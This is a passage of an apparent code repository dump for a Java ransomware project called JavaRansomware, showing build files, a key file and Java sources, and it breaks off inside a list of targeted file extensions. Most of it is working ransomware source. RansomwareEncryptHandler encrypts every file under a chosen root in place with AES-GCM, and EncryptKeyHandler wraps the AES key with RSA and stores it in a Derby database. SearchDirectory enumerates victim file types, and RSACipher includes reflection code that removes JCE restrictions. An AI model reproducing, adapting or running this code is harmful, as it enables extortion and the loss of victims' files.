                    <artifactId>maven-surefire-plugin</artifactId>
                    <version>${maven-surefire-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-jar-plugin</artifactId>
                    <version>${maven-jar-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-compiler-plugin</artifactId>
                    <version>${maven-compiler-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-source-plugin</artifactId>
                    <version>${maven-source-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-shade-plugin</artifactId>
                    <version>${maven-shade-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.codehaus.mojo</groupId>
                    <artifactId>buildnumber-maven-plugin</artifactId>
                    <version>${buildnumber-maven-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-javadoc-plugin</artifactId>
                    <version>${maven-javadoc-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-gpg-plugin</artifactId>
                    <version>${maven-gpg-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.sonatype.plugins</groupId>
                    <artifactId>nexus-staging-maven-plugin</artifactId>
                    <version>${nexus-staging-maven-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.jacoco</groupId>
                    <artifactId>jacoco-maven-plugin</artifactId>
                    <version>${jacoco-maven-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-resources-plugin</artifactId>
                    <version>${maven-resources-plugin.version}</version>
                </plugin>
            </plugins>
        </pluginManagement>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkCount>1</forkCount>
                    <threadCount>1</threadCount>
                    <reuseForks>false</reuseForks>
                    <runOrder>alphabetical</runOrder>
                    <argLine>
                        --add-opens java.base/java.lang=ALL-UNNAMED
                        --add-opens java.base/java.util=ALL-UNNAMED
                        --add-opens java.base/java.math=ALL-UNNAMED
                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED
                        --add-opens java.base/java.security.spec=ALL-UNNAMED
                        --add-opens java.base/java.time=ALL-UNNAMED
                    </argLine>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>${java.version}</source>
                    <target>${java.version}</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <executions>
                    <execution>
                        <id>make-assembly</id> <!-- this is used for inheritance merges -->
                        <phase>package</phase> <!-- bind to the packaging phase -->
                        <goals>
                            <goal>single</goal>
                        </goals>
                        <configuration>
                            <descriptors>
                                <descriptor>src/assembly/assembly.xml</descriptor>
                            </descriptors>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-shade-plugin</artifactId>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>shade</goal>
                        </goals>
                        <configuration>
                            <transformers>
                                <transformer
                                        implementation="org.apache.maven.plugins.shade.resource.ServicesResourceTransformer"/>
                                <transformer
                                        implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                </transformer>
                            </transformers>
                            <filters>
                                <filter>
                                    <artifact>*:*</artifact>
                                    <excludes>
                                        <exclude>META-INF/**</exclude>
                                        <exclude>INFO/**</exclude>
                                        <exclude>asm:*</exclude>
                                        <exclude>META-INF/*.MF</exclude>
                                        <exclude>META-INF/*.SF</exclude>
                                        <exclude>META-INF/*.DSA</exclude>
                                        <exclude>META-INF/*.RSA</exclude>
                                        <exclude>META-INF/versions/21/**</exclude>
                                    </excludes>
                                </filter>
                            </filters>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
        <resources>
            <resource>
                <directory>src/resources</directory>
                <includes>
                    <include>**/*.txt</include>
                    <include>**/*.so</include>
                </includes>
            </resource>
        </resources>
    </build>
</project>


================================================
FILE: secret.key
================================================
9HpDHVU9FshbvImYQb1EQE8dV0mYvUWQbc5VHqzS4HI=

================================================
FILE: src/assembly/assembly.xml
================================================
<assembly xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/3.7.1"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/3.7.1 http://maven.apache.org/xsd/assembly-1.1.2.xsd">
    <id>bin</id>
    <formats>
        <format>zip</format>
    </formats>
    <includeBaseDirectory>false</includeBaseDirectory>
    <fileSets>
        <fileSet>
            <directory>${project.build.directory}</directory>
            <outputDirectory>/</outputDirectory>
            <includes>
                <include>*.jar</include>
            </includes>
        </fileSet>
    </fileSets>
</assembly>

================================================
FILE: src/main/java/com/security/AESCipher.java
================================================
package com.security;

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.security.SecureRandom;
import java.util.Base64;

public class AESCipher {
    private static final String ALGORITHM = "AES/GCM/NoPadding";
    private static final int KEY_SIZE = 256; // AES-256
    private static final int IV_LENGTH = 12; // 12 bytes for GCM
    private static final int TAG_LENGTH = 128; // 128-bit authentication tag


    // Generate AES key not save to file
    public static String generateAndNotSaveKeyAsString() throws Exception {
        KeyGenerator keyGen = KeyGenerator.getInstance("AES");
        keyGen.init(KEY_SIZE);
        SecretKey key = keyGen.generateKey();

        // Save key as Base64 string
        return Base64.getEncoder().encodeToString(key.getEncoded());
    }

    // Generate AES key not save to file
    public static SecretKey generateAndNotSaveKey() throws Exception {
        KeyGenerator keyGen = KeyGenerator.getInstance("AES");
        keyGen.init(KEY_SIZE);
        return keyGen.generateKey();
    }

    // Generate AES key and save to file
    public static SecretKey generateAndSaveKey(String keyFile) throws Exception {
        KeyGenerator keyGen = KeyGenerator.getInstance("AES");
        keyGen.init(KEY_SIZE);
        SecretKey key = keyGen.generateKey();

        // Save key as Base64 string
        String encodedKey = Base64.getEncoder().encodeToString(key.getEncoded());
        Files.write(Path.of(keyFile), encodedKey.getBytes());
        return key;
    }

    // Load key from string
    public static SecretKey loadKey(String encodedKey) throws IOException {
        byte[] decodedKey = Base64.getDecoder().decode(encodedKey);
        return new SecretKeySpec(decodedKey, "AES");
    }

    // Load key from file
    public static SecretKey loadKeyFormFile(String keyFile) throws IOException {
        byte[] encodedKey = Files.readAllBytes(Path.of(keyFile));
        byte[] decodedKey = Base64.getDecoder().decode(encodedKey);
        return new SecretKeySpec(decodedKey, "AES");
    }

    // Encrypt file and replace original
    public static void encryptFile(String filePath, SecretKey key) throws Exception {
        // Read original file
        byte[] fileData = Files.readAllBytes(Path.of(filePath));

        // Generate IV
        byte[] iv = new byte[IV_LENGTH];
        new SecureRandom().nextBytes(iv);

        // Initialize cipher
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(TAG_LENGTH, iv));

        // Encrypt data
        byte[] encryptedData = cipher.doFinal(fileData);

        // Write IV + encrypted data back to the same file
        try (FileOutputStream fos = new FileOutputStream(filePath)) {
            fos.write(iv);
            fos.write(encryptedData);
        }
    }

    // Decrypt file and replace encrypted version
    public static void decryptFile(String filePath, SecretKey key) throws Exception {
        // Read encrypted file (IV + ciphertext)
        byte[] encryptedFile = Files.readAllBytes(Path.of(filePath));

        // Extract IV (first 12 bytes)
        byte[] iv = new byte[IV_LENGTH];
        System.arraycopy(encryptedFile, 0, iv, 0, IV_LENGTH);

        // Extract ciphertext (remaining bytes)
        byte[] ciphertext = new byte[encryptedFile.length - IV_LENGTH];
        System.arraycopy(encryptedFile, IV_LENGTH, ciphertext, 0, ciphertext.length);

        // Initialize cipher
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, key, new GCMParameterSpec(TAG_LENGTH, iv));

        // Decrypt data
        byte[] decryptedData = cipher.doFinal(ciphertext);

        // Write decrypted data back to the same file
        try (FileOutputStream fos = new FileOutputStream(filePath)) {
            fos.write(decryptedData);
        }
    }
}


================================================
FILE: src/main/java/com/security/DatabaseRetrieveHandler.java
================================================
package com.security;

import lombok.SneakyThrows;

public class DatabaseRetrieveHandler implements Handler<PipelineData, PipelineData> {

    public DatabaseRetrieveHandler() {
    }

    @SneakyThrows
    @Override
    public PipelineData process(PipelineData input) {
        String encryptedSymmetricKey = DerbyStorage.getInstance().retrieveString();

        if (encryptedSymmetricKey != null) {
            System.out.println("Retrieved existing string: " + encryptedSymmetricKey);
            input.setEncKeyCode(encryptedSymmetricKey);
        }
        return input;
    }
}


================================================
FILE: src/main/java/com/security/DatabaseStoreHandler.java
================================================
package com.security;

import lombok.SneakyThrows;

public class DatabaseStoreHandler implements Handler<PipelineData, PipelineData> {

    public DatabaseStoreHandler() {
    }

    @SneakyThrows
    @Override
    public PipelineData process(PipelineData input) {
        String encryptedSymmetricKey = DerbyStorage.getInstance().retrieveString();

        if (encryptedSymmetricKey == null) {
            // Store a new string
            DerbyStorage.getInstance().storeString(input.getEncKeyCode());
            System.out.println("Retrieved newly stored string: " + input.getEncKeyCode());
        }
        return input;
    }
}


================================================
FILE: src/main/java/com/security/DecryptKeyHandler.java
================================================
package com.security;

import lombok.SneakyThrows;

import java.security.PrivateKey;

public class DecryptKeyHandler implements Handler<PipelineData, PipelineData> {
    @Override
    @SneakyThrows
    public PipelineData process(PipelineData input) {
        if (input.getPrivateKey() == null) {
            throw new RansomwareException("Private key is null");
        }
        if (input.getEncKeyCode() == null) {
            return input;
        }
        PrivateKey privateKey = RSAGenKeyReader.loadPrivateKey(input.getPrivateKey());
        String plainKeyString = RSACipher.getInstance().decrypt(input.getEncKeyCode(), privateKey);
        input.setSecretKey(plainKeyString);
        return input;
    }
}


================================================
FILE: src/main/java/com/security/DerbyStorage.java
================================================
package com.security;

import java.sql.*;

public class DerbyStorage {
    private static final String DB_URL = "jdbc:derby:encryptedKeyDB;create=true";
    private static final String TABLE_NAME = "STRING_STORE";
    private static final String COLUMN_NAME = "stored_string";

    private Connection connection;
    private static volatile DerbyStorage instance;

    private DerbyStorage() {
        if (instance != null) {
            throw new IllegalStateException("Already initialized.");
        }
        try {
            // Initialize connection
            connection = DriverManager.getConnection(DB_URL);
            // Check if table exists, create if not
            if (!tableExists()) {
                createTable();
            }
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }

    public static DerbyStorage getInstance() {
        var result = instance;
        if (result == null) {
            synchronized (DerbyStorage.class) {
                result = instance;
                if (result == null) {
                    result = new DerbyStorage();
                    instance = result;
                }
            }
        }
        return result;
    }

    private boolean tableExists() throws SQLException {
        boolean exists = false;
        ResultSet rs = connection.getMetaData().getTables(null, null, TABLE_NAME, null);

        if (rs.next()) {
            exists = true;
        }

        rs.close();
        return exists;
    }

    private void createTable() throws SQLException {
        Statement stmt = connection.createStatement();
        String createTableSQL = "CREATE TABLE " + TABLE_NAME + " (" + COLUMN_NAME + " VARCHAR(255))";
        stmt.executeUpdate(createTableSQL);
        stmt.close();
        System.out.println("Table created successfully.");
    }

    public void storeString(String value) throws SQLException {
        // First, check if table already has a string
        String existingString = retrieveString();

        if (existingString != null) {
            // Update the existing string
            PreparedStatement updateStmt = connection.prepareStatement(
                    "UPDATE " + TABLE_NAME + " SET " + COLUMN_NAME + " = ?");
            updateStmt.setString(1, value);
            updateStmt.executeUpdate();
            updateStmt.close();
        } else {
            // Insert a new string
            PreparedStatement insertStmt = connection.prepareStatement(
                    "INSERT INTO " + TABLE_NAME + " (" + COLUMN_NAME + ") VALUES (?)");
            insertStmt.setString(1, value);
            insertStmt.executeUpdate();
            insertStmt.close();
        }

        System.out.println("String stored successfully: " + value);
    }

    public String retrieveString() throws SQLException {
        String retrievedString = null;
        Statement stmt = connection.createStatement();
        ResultSet rs = stmt.executeQuery("SELECT " + COLUMN_NAME + " FROM " + TABLE_NAME);

        if (rs.next()) {
            retrievedString = rs.getString(COLUMN_NAME);
        }

        rs.close();
        stmt.close();
        return retrievedString;
    }

    public void close() {
        try {
            if (connection != null && !connection.isClosed()) {
                connection.close();
                // Shut down Derby
                try {
                    DriverManager.getConnection("jdbc:derby:;shutdown=true");
                } catch (SQLException e) {
                    // Derby always throws an exception on proper shutdown
                    if (e.getSQLState().equals("XJ015")) {
                        System.out.println("Derby shutdown successfully.");
                    } else {
                        e.printStackTrace();
                    }
                }
            }
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}


================================================
FILE: src/main/java/com/security/EncryptKeyHandler.java
================================================
package com.security;

import lombok.SneakyThrows;

import java.nio.charset.StandardCharsets;
import java.security.PublicKey;

public class EncryptKeyHandler implements Handler<PipelineData, PipelineData> {
    @Override
    @SneakyThrows
    public PipelineData process(PipelineData input) {
        if (input.getPublicKey() == null) {
            throw new RansomwareException("Public key is null");
        }
        PublicKey pub = RSAGenKeyReader.loadPublicKey(input.getPublicKey());
        String encrypted = RSACipher.getInstance().encrypt(input.getSecretKey().getBytes(StandardCharsets.UTF_8), pub);
        input.setEncKeyCode(encrypted);
        return input;
    }
}


================================================
FILE: src/main/java/com/security/Example.java
================================================
package com.security;


import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.GeneralSecurityException;

public class Example {
    private static final String PubicKey = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==";
    private static final String PrivateKey = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=";


    public static void main(String[] args) throws RansomwareException, GeneralSecurityException {
        // Set Whatever path you want to test
        Path testPath = Paths.get("C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\src\\resources");
        //Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
        PipelineData pipelineData = new PipelineData();
        pipelineData.setPrivateKey(PrivateKey);
        pipelineData.setPublicKey(PubicKey);

        // Alternative Gen RSA. Make sure you save the keypair to a file if not loaded
//        RSAGenKeyReader.StringKeyPair keyPair=RSAGenKeyReader.generateKeyPair();
//        pipelineData.setPrivateKey(keyPair.privateKey());
//        pipelineData.setPublicKey(keyPair.publicKey());

        pipelineData.setRootPath(testPath.toAbsolutePath().toString());

        Pipeline<PipelineData, PipelineData> encrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())
                .addHandler(new GenSymmetricKeyHandler())
                .addHandler(new RansomwareEncryptHandler())
                .addHandler(new EncryptKeyHandler())
                .addHandler(new DatabaseStoreHandler());
        var encrypt_output = encrypt_filters.execute(pipelineData);
        System.out.println("Pipeline encrypt_output: " + encrypt_output);


        Pipeline<PipelineData, PipelineData> decrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())
                .addHandler(new DecryptKeyHandler())
                .addHandler(new RansomwareDecryptHandler())
                .addHandler(new DecryptKeyHandler());
        var decrypt_output = decrypt_filters.execute(pipelineData);
        System.out.println("Pipeline output: " + decrypt_output);
    }
}


================================================
FILE: src/main/java/com/security/GenSymmetricKeyHandler.java
================================================
package com.security;

import lombok.SneakyThrows;

public class GenSymmetricKeyHandler implements Handler<PipelineData, PipelineData> {
    @Override
    @SneakyThrows
    public PipelineData process(PipelineData input) {
        if (input.getEncKeyCode() != null) {
            return input;
        }
        input.setSecretKey(AESCipher.generateAndNotSaveKeyAsString());
        return input;
    }
}


================================================
FILE: src/main/java/com/security/Handler.java
================================================
package com.security;

interface Handler<I, O> {
    O process(I input);
}


================================================
FILE: src/main/java/com/security/Pipeline.java
================================================
package com.security;

public class Pipeline<I, O> {

    private final Handler<I, O> currentHandler;

    public Pipeline(Handler<I, O> currentHandler) {
        this.currentHandler = currentHandler;
    }

    public <K> Pipeline<I, K> addHandler(Handler<O, K> newHandler) {
        return new Pipeline<>(input -> newHandler.process(currentHandler.process(input)));
    }

    public O execute(I input) {
        return currentHandler.process(input);
    }


}


================================================
FILE: src/main/java/com/security/PipelineData.java
================================================
package com.security;

import lombok.Getter;
import lombok.Setter;

import java.util.Objects;

@Setter
@Getter
public class PipelineData {

    private String rootPath;
    private String encKeyCode;
    private String secretKey;
    private String publicKey;
    private String privateKey;

    public PipelineData() {
    }


    @Override
    public boolean equals(Object o) {
        if (o == null || getClass() != o.getClass()) return false;
        PipelineData that = (PipelineData) o;
        return Objects.equals(rootPath, that.rootPath) && Objects.equals(encKeyCode, that.encKeyCode) && Objects.equals(secretKey, that.secretKey) && Objects.equals(publicKey, that.publicKey) && Objects.equals(privateKey, that.privateKey);
    }

    @Override
    public int hashCode() {
        return Objects.hash(rootPath, encKeyCode, secretKey, publicKey, privateKey);
    }

    @Override
    public String toString() {
        return "PipelineData{" +
                "rootPath='" + rootPath + '\'' +
                ", encKeyCode='" + encKeyCode + '\'' +
                ", secretKey=" + secretKey +
                ", publicKey='" + publicKey + '\'' +
                ", privateKey='" + privateKey + '\'' +
                '}';
    }
}


================================================
FILE: src/main/java/com/security/RSACipher.java
================================================
package com.security;

import org.bouncycastle.jce.provider.BouncyCastleProvider;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.security.*;
import java.util.Base64;
import java.util.Map;
import java.util.Set;

public class RSACipher {

    private static final String ALGORITHM = "RSA/ECB/PKCS1Padding";
    private static final int KEY_SIZE = 256; // AES-256
    private static final int IV_LENGTH = 12; // 12 bytes for GCM
    private static final int TAG_LENGTH = 128; // 128-bit authentication tag

    private static volatile RSACipher instance;
    private static String prov;

    private RSACipher() throws NoSuchPaddingException, NoSuchAlgorithmException, NoSuchProviderException {
        // to prevent instantiating by Reflection call
        if (instance != null) {
            throw new IllegalStateException("Already initialized.");
        }
        Security.addProvider(new BouncyCastleProvider());
        Init();
    }

    public static RSACipher getInstance() throws NoSuchPaddingException, NoSuchAlgorithmException, NoSuchProviderException {
        var result = instance;
        if (result == null) {
            synchronized (RSACipher.class) {
                result = instance;
                if (result == null) {
                    result = new RSACipher();
                    instance = result;
                }
            }
        }
        return result;
    }

    private void Init() {
        for (Provider provider : Security.getProviders()) {
            //System.out.println("Provider: " + provider.getName());
            Set<Provider.Service> services = provider.getServices();
            for (Provider.Service service : services) {
                if ("Cipher".equals(service.getType())) {
                    if (service.getAlgorithm().equals(ALGORITHM)) {
                        //System.out.println(" - " + service.getAlgorithm());
                        prov = provider.getName();
                        break;
                    }
                }
            }
        }
    }

    public String encrypt(byte[] data, PublicKey publicKey) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, NoSuchProviderException, IllegalBlockSizeException, BadPaddingException {
        Cipher cipher = Cipher.getInstance(ALGORITHM, "BC");
        cipher.init(Cipher.ENCRYPT_MODE, publicKey);
        return Base64.getEncoder().encodeToString(cipher.doFinal(data));
    }

    public String decrypt(String encrypted, PrivateKey privateKey) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, NoSuchProviderException {
        Cipher cipher = Cipher.getInstance(ALGORITHM, "BC");
        cipher.init(Cipher.DECRYPT_MODE, privateKey);
        byte[] data = Base64.getDecoder().decode(encrypted);
        return new String(cipher.doFinal(data));
    }

    private static void removeCryptographyRestrictions() {
        if (!isRestrictedCryptography()) {
            System.out.println("Cryptography restrictions removal not needed");
            return;
        }
        try {

            final Class<?> jceSecurity = Class.forName("javax.crypto.JceSecurity");
            final Class<?> cryptoPermissions = Class.forName("javax.crypto.CryptoPermissions");
            final Class<?> cryptoAllPermission = Class.forName("javax.crypto.CryptoAllPermission");

            final Field isRestrictedField = jceSecurity.getDeclaredField("isRestricted");
            isRestrictedField.setAccessible(true);
            final Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(isRestrictedField, isRestrictedField.getModifiers() & ~Modifier.FINAL);
            isRestrictedField.set(null, false);

            final Field defaultPolicyField = jceSecurity.getDeclaredField("defaultPolicy");
            defaultPolicyField.setAccessible(true);
            final PermissionCollection defaultPolicy = (PermissionCollection) defaultPolicyField.get(null);

            final Field perms = cryptoPermissions.getDeclaredField("perms");
            perms.setAccessible(true);
            ((Map<?, ?>) perms.get(defaultPolicy)).clear();

            final Field instance = cryptoAllPermission.getDeclaredField("INSTANCE");
            instance.setAccessible(true);
            defaultPolicy.add((Permission) instance.get(null));

            System.out.println("Successfully removed cryptography restrictions");
        } catch (final Exception e) {
            System.out.println("Failed to remove cryptography restrictions" + e);
        }
    }

    private static boolean isRestrictedCryptography() {
        return "Java(TM) SE Runtime Environment".equals(System.getProperty("java.runtime.name"));
    }
}


================================================
FILE: src/main/java/com/security/RSAGenKeyReader.java
================================================
package com.security;

import org.apache.commons.codec.binary.Base64;

import java.io.File;
import java.nio.file.Files;
import java.security.*;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;
import java.util.Arrays;

public class RSAGenKeyReader {

    private static final String Algorithm = "RSA";

    public static StringKeyPair generateKeyPair() throws GeneralSecurityException {
        KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
        keyGen.initialize(2048);  // Key size (1024, 2048, 4096)
        java.security.KeyPair keyPair = keyGen.generateKeyPair();
        PublicKey publicKey = keyPair.getPublic();
        PrivateKey privateKey = keyPair.getPrivate();
        return new StringKeyPair(Base64.encodeBase64String(publicKey.getEncoded()), Base64.encodeBase64String(privateKey.getEncoded()));
    }

    public static PublicKey loadPublicKey(String stored) throws GeneralSecurityException {
        byte[] data = Base64.decodeBase64(stored);
        X509EncodedKeySpec spec = new X509EncodedKeySpec(data);
        KeyFactory fact = KeyFactory.getInstance(Algorithm);
        return fact.generatePublic(spec);
    }

    public static PrivateKey loadPrivateKey(String key64) throws GeneralSecurityException {
        byte[] clear = Base64.decodeBase64(key64);
        PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(clear);
        KeyFactory fact = KeyFactory.getInstance(Algorithm);
        PrivateKey priv = fact.generatePrivate(keySpec);
        Arrays.fill(clear, (byte) 0);
        return priv;
    }

    public static PrivateKey loadPrivateKey(File PrivFile) throws Exception {
        byte[] keyBytes = Files.readAllBytes(PrivFile.toPath());
        PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(keyBytes);
        KeyFactory kf = KeyFactory.getInstance(Algorithm);
        return kf.generatePrivate(spec);
    }

    public static PublicKey loadPublicKey(File PubFile) throws Exception {
        byte[] keyBytes = Files.readAllBytes(PubFile.toPath());
        X509EncodedKeySpec spec = new X509EncodedKeySpec(keyBytes);
        KeyFactory kf = KeyFactory.getInstance(Algorithm);
        return kf.generatePublic(spec);
    }


    public record StringKeyPair(String publicKey, String privateKey) {
    }
}


================================================
FILE: src/main/java/com/security/RansomwareDecryptHandler.java
================================================
package com.security;

import lombok.SneakyThrows;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.filefilter.TrueFileFilter;

import javax.crypto.SecretKey;
import java.io.File;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Collection;

public class RansomwareDecryptHandler implements Handler<PipelineData, PipelineData> {
    private static final String SEARCH = "encryptedKeyDB";

    @Override
    @SneakyThrows
    public PipelineData process(PipelineData input) {
        Path rootPath = Paths.get(input.getRootPath());
        Collection<File> files = FileUtils.listFilesAndDirs(
                rootPath.toFile(),
                TrueFileFilter.INSTANCE,
                TrueFileFilter.INSTANCE
        );
        SecretKey secretKey = AESCipher.loadKey(input.getSecretKey());
        files.parallelStream().forEach(file -> {
            if (file.toPath().toAbsolutePath().toString().contains(SEARCH)) {
                return;
            }
            if (file.isDirectory()) {
            } else {
                try {
                    AESCipher.decryptFile(file.getPath(), secretKey);
                } catch (Exception e) {
                    throw new RuntimeException(e);
                }
            }
        });
        return input;
    }
}


================================================
FILE: src/main/java/com/security/RansomwareEncryptHandler.java
================================================
package com.security;

import lombok.SneakyThrows;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.filefilter.TrueFileFilter;

import javax.crypto.SecretKey;
import java.io.File;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Collection;

public class RansomwareEncryptHandler implements Handler<PipelineData, PipelineData> {
    private static final String SEARCH = "encryptedKeyDB";

    @Override
    @SneakyThrows
    public PipelineData process(PipelineData input) {
        Path rootPath = Paths.get(input.getRootPath());
        Collection<File> files = FileUtils.listFilesAndDirs(
                rootPath.toFile(),
                TrueFileFilter.INSTANCE,
                TrueFileFilter.INSTANCE
        );
        SecretKey secretKey = AESCipher.loadKey(input.getSecretKey());
        files.parallelStream().forEach(file -> {
            if (file.toPath().toAbsolutePath().toString().contains(SEARCH)) {
                return;
            }
            if (file.isDirectory()) {
            } else {
                try {
                    AESCipher.encryptFile(file.getPath(), secretKey);
                } catch (Exception e) {
                    throw new RuntimeException(e);
                }
            }
        });
        return input;
    }
}


================================================
FILE: src/main/java/com/security/RansomwareException.java
================================================
package com.security;


public class RansomwareException extends Exception {

    public RansomwareException(String message) {
        super(message);
    }

    public RansomwareException(String message, Throwable throwable) {
        super(message, throwable);
    }

    @Override
    public String toString() {
        return super.toString();
    }
}

================================================
FILE: src/main/java/com/security/SearchDirectory.java
================================================
package com.security;


import org.apache.commons.io.FilenameUtils;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.TreeMap;
import java.util.stream.Stream;

public class SearchDirectory {


    private static final String DOC = "doc";
    private static final String DOCX = "docx";
    private static final String LOG = "log";
    private static final String MSG = "msg";
    private static final String ODT = "odt";
    private static final String PAGES = "pages";
    private static final String RTF = "rtf";
    private static final String TEX = "tex";
    private static final String TXT = "txt";
    private static final String WPD = "wpd";
    private static final String WPS = "wps";
    private static final String HWP = "hwp";


    private static final String CSV = "csv";
    private static final String DAT = "dat";
    private static final String GBR = "gbr";
    private static final String GED = "ged";
    private static final String KEY = "key";
    private static final String KEYCHAIN = "keychain";
    private static final String PPS = "pps";
    private static final String PPT = "ppt";
    private static final String PPTX = "pptx";
    private static final String SDF = "sdf";
    private static final String TAR = "tar";
    private static final String TAX2012 = "tax2012";
    private static final String TAX2014 = "tax2014";
    private static final String VCF = "vcf";
    private static final String XML = "xml";


    private static final String ALF = "alf";
    private static final String IFF = "iff";
    private static final String M3U = "m3u";
    private static final String M4A = "m4a";
    private static final String MID = "mid";
    private static final String MP3 = "mp3";
    private static final String MPA = "mpa";
    private static final String RA = "ra";
    private static final String WAV = "wav";
    private static final String WMA = "wma";

    // Video files
    private static final String G32 = "3g2";
    private static final String G3P = "3gp";
    private static final String ASF = "asf";
    private static final String ASX = "asx";
    private static final String AVI = "avi";
    private static final String FLV = "flv";
    private static final String M4V = "m4v";
    private static final String MOV = "mov";
    private static final String MP4 = "mp4";
    private static final String MPG = "mpg";
    private static final String RM = "rm";
    private static final String SRT = "srt";
    private static final String SWF = "swf";
    private static final String VOB = "vob";
    private static final String WMV = "wmv";


    // 3D image files
    private static final String D3M = "3dm";
    private static final String D3S = "3ds";
    private static final String MAX = "max";
    private static final String OBJ = "obj";


    // Raster image files
    private static final String BMP = "bmp";
    private static final String DDA = "dda";
    private static final String GIF = "gif";
    private static final String JPG = "jpg";
    private static final String PNG = "png";
    private static final String PSD = "psd";
    private static final String PSIMAGE = "pspimage";
    private static final String TGA = "tga";
    private static final String THM = "thm";
    private static final String TIF = "tif";
    private static final String TIFF = "tiff";
    private static final String YUV = "yuv";


    // Vector image files
    private static final String AI = "ai";
    private static final String EPS = "eps";
    private static final String PS = "ps";
    private static final String SVG = "svg";

    // Page layout files
    private static final String INDD = "indd";
    private static final String PCT = "pct";
    private static final String PDF = "pdf";


    // Spreadsheet files
    private static final String XLR = "xlr";
    private static final String XLS = "xls";
    private static final String XLSX = "xlsx";


    // Compressed files
    private static final String Z7 = "7z";
    private static final String RAR = "rar";
    private static final String ZIP = "zip";
    private static final String TARGZ = "tar.gz";


    // Executable files
    private static final String APK = "apk";
    private static final String APP = "app";
    private static final String COM = "com";
    private static final String EXE = "exe";


    // Web files
    private static final String ASP = "asp";
    private static final String ASPX = "apsx";
    private static final String CSS = "css";
